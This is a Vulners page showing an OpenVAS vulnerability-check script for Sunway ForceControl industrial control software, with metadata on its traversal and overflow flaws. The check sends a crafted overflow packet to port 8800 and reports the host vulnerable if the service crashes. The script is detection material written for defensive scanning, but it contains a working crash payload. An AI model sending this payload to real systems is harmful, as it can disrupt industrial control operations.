Lucene search
K

Sunway ForceControl Multiple Vulnerabilities

🗓️ 02 Dec 2011 00:00:00Reported by Copyright (c) 2011 Greenbone Networks GmbHType 
openvas
 openvas
🔗 plugins.openvas.org👁 17 Views

Sunway ForceControl multiple vulnerabilities, allowing remote code execution and denial of service. No available patch or solution

Refs
Code
###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_sunway_force_control_mult_vuln.nasl 7044 2017-09-01 11:50:59Z teissa $
#
# Sunway ForceControl Multiple Vulnerabilities
#
# Authors:
# Madhuri D <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation may allow remote attackers to execute
arbitrary code on the system or cause a denial of service condition.

Impact Level: Application";

tag_affected = "Sunway ForceControl version 6.1 SP1, SP2 and SP3";

tag_insight = "Multiple flaws are caused due an,
- Error in 'NetServer.exe' when processing certain packets can be exploited
  to disclose the contents of arbitrary files via directory traversal attack.
- Error in 'AngelServer', Which fails to validate user-supplied input.
- Error while processing certain packets in 'SNMP NetDBServer', leads to
  stack overflow or integer overflow in SNMP NetDBServer and execution of
  arbitrary code.";

tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";

tag_summary = "The host is running Sunway ForceControl and is prone to multiple
vulnerabilities.";

if(description)
{
  script_id(802529);
  script_version("$Revision: 7044 $");
  script_bugtraq_id(49747);
  script_tag(name:"last_modification", value:"$Date: 2017-09-01 13:50:59 +0200 (Fri, 01 Sep 2017) $");
  script_tag(name:"creation_date", value:"2011-12-02 13:55:52 +0530 (Fri, 02 Dec 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Sunway ForceControl Multiple Vulnerabilities");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/46146");
  script_xref(name : "URL" , value : "http://securitytracker.com/id/1026092");
  script_xref(name : "URL" , value : "http://xforce.iss.net/xforce/xfdb/70015");
  script_xref(name : "URL" , value : "http://www.exploit-db.com/exploits/17885/");
  script_xref(name : "URL" , value : "http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt");
  script_xref(name : "URL" , value : "http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-266-01.pdf");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (c) 2011 Greenbone Networks GmbH");
  script_family("General");
  script_dependencies("find_service.nasl");
  script_require_ports(8800);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}


## Get Default Port
port = 8800;
if(!get_port_state(port)){
  exit(0);
}

## Open the socket
soc = open_sock_tcp(port);
if(!soc){
  exit(0);
}

## Construct Attack Request
r = crap(data:raw_string(0x41), length: 1024);
req = r + raw_string(0x08, 0x00, 0x00, 0x00, 0x00, 0x00,
                     0x00, 0x00, 0xff, 0xff, 0xff, 0xff);

## Sending Attack
send(socket:soc, data:req);
res = recv(socket:soc, length:1024);
close(soc);

## Open the socket and Check server is dead or alive
soc = open_sock_tcp(port);
if(!soc){
  security_message(port);
}
close(soc);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation